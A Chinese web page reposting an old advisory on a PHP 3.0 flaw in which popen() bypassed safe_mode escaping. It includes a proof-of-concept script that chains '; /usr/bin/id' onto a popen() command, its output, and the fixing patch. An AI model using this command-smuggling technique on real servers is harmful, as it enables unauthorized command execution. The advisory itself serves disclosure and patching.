PHP3 safe_mode 失效漏洞


Posted in PHP onOctober 09, 2006

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

PHP 相关文章推荐
PHP目录函数实现创建、读取目录教程实例
Jan 13 PHP
php中flush()、ob_flush()、ob_end_flush()的区别介绍
Feb 17 PHP
php实现多张图片上传加水印技巧
Apr 18 PHP
基于php中使用excel的简单介绍
Aug 02 PHP
php递归使用示例(php递归函数)
Feb 14 PHP
php数据库备份还原类分享
Mar 20 PHP
CodeIgniter框架过滤HTML危险代码
Jun 12 PHP
解读PHP中的垃圾回收机制
Aug 10 PHP
php 从一个数组中随机的取出若干个不同的数实例
Dec 31 PHP
php自定义函数实现统计中文字符串长度的方法小结
Apr 15 PHP
php 中的closure用法详解
Jun 12 PHP
yii2.0框架场景的简单使用示例
Jan 25 PHP
vBulletin HACK----关于排版的两个HACK
Oct 09 #PHP
PHP+APACHE实现用户论证的方法
Oct 09 #PHP
从C/C++迁移到PHP——判断字符类型的函数
Oct 09 #PHP
PHP实现图片简单上传
Oct 09 #PHP
在线增减.htpasswd内的用户
Oct 09 #PHP
将OICQ数据转成MYSQL数据
Oct 09 #PHP
PHP中一个控制字符串输出的函数
Oct 09 #PHP
You might like
php导入csv文件碰到乱码问题的解决方法
2014/02/10 PHP
yii框架表单模型使用及以数组形式提交表单数据示例
2014/04/30 PHP
PHP网页游戏学习之Xnova(ogame)源码解读(十一)
2014/06/25 PHP
PHP 读取和编写 XML
2014/11/19 PHP
php注册系统和使用Xajax即时验证用户名是否被占用
2017/08/31 PHP
解决thinkPHP 5 nginx 部署时,只跳转首页的问题
2019/10/16 PHP
浅析用prototype定义自己的方法
2013/11/14 Javascript
JS版的date函数(和PHP的date函数一样)
2014/05/12 Javascript
网页下载文件期间如何防止用户对网页进行其他操作
2014/06/27 Javascript
判断日期是否能跨月查询的js代码
2014/07/25 Javascript
CSS3实现动态背景登录框的代码
2015/07/28 Javascript
把普通对象转换成json格式的对象的简单实例
2016/07/04 Javascript
jquery datatable服务端分页
2016/08/31 Javascript
jQuery插件form-validation-engine正则表达式操作示例
2017/02/09 Javascript
xmlplus组件设计系列之分隔框(DividedBox)(8)
2017/05/02 Javascript
微信小程序定位当前城市的方法
2018/07/19 Javascript
利用js将ajax获取到的后台数据动态加载至网页中的方法
2018/08/08 Javascript
[35:44]2014 DOTA2华西杯精英邀请赛 5 24 iG VS VG
2014/05/26 DOTA
[44:21]Ti4 循环赛第四日 附加赛NEWBEE vs LGD
2014/07/13 DOTA
python实现自动重启本程序的方法
2015/07/09 Python
Python的Django框架中模板碎片缓存简介
2015/07/24 Python
Google开源的Python格式化工具YAPF的安装和使用教程
2016/05/31 Python
Python实现快速计算词频功能示例
2018/06/25 Python
python 通过视频url获取视频的宽高方式
2019/12/10 Python
Python基于stuck实现scoket文件传输
2020/04/02 Python
Python bisect模块原理及常见实例
2020/06/17 Python
时尚的CSS3进度条效果
2012/02/22 HTML / CSS
巴塞罗那观光通票:Barcelona Pass
2019/10/30 全球购物
俄罗斯卫浴采暖及维修用品超级市场:Dkrussia
2020/05/12 全球购物
Ajax和javascript的区别
2013/07/20 面试题
十一酒店活动方案
2014/02/20 职场文书
药店促销活动策划方案
2014/08/24 职场文书
员工家属慰问信
2015/03/24 职场文书
2015年暑期社会实践总结
2015/07/13 职场文书
Nginx反爬虫策略,防止UA抓取网站
2021/03/31 Servers
python实战之一步一步教你绘制小猪佩奇
2021/04/22 Python